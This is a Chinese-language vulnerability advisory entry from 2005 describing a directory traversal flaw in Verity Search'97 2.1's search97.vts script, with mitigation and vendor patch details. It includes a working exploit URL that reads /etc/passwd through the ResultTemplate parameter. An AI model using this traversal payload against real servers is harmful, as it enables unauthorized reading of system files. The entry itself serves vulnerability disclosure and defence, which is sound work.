添加时间:
2005-08-11

系统编号:
WAVDB-00004
BUGTRAQ: 162

影响版本:
Verity's Search`97 2.1

程序介绍:

Verity's Search`97是Verity公司搜索引擎的Web访问界面。

漏洞分析:

Verity's Search`97的search97.vts脚本未对用户如入做充分过滤，远程攻击者可能利用此漏洞进行目录遍历攻击，导致系统文件泄漏。
软件包中的search97.vts对用户输入的“..”未做充分过滤，攻击者可能通过构造特殊的请求来读取任何服务器上任何Web服务进程有读权限的文件。


漏洞利用:

http://host/search97.vts?HLNavigate=On&querytext=dcm&ServerKey=Primary&ResultTemplate=../../../../../../../etc/passwd&ResultStyle=simple&ResultCount=20&collection=books

解决方案:
临时解决方法：
如果您不能立刻安装补丁或者升级，建议您采取以下措施以降低威胁：
* 暂时停止使用该软件。

厂商补丁：
Verity
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://www.verity.com

信息来源:
<*来源：Stefan Arentz （stefan.arentz@SOZE.COM）
链接：http://www.opennet.ru/base/exploits/103.txt.html
*>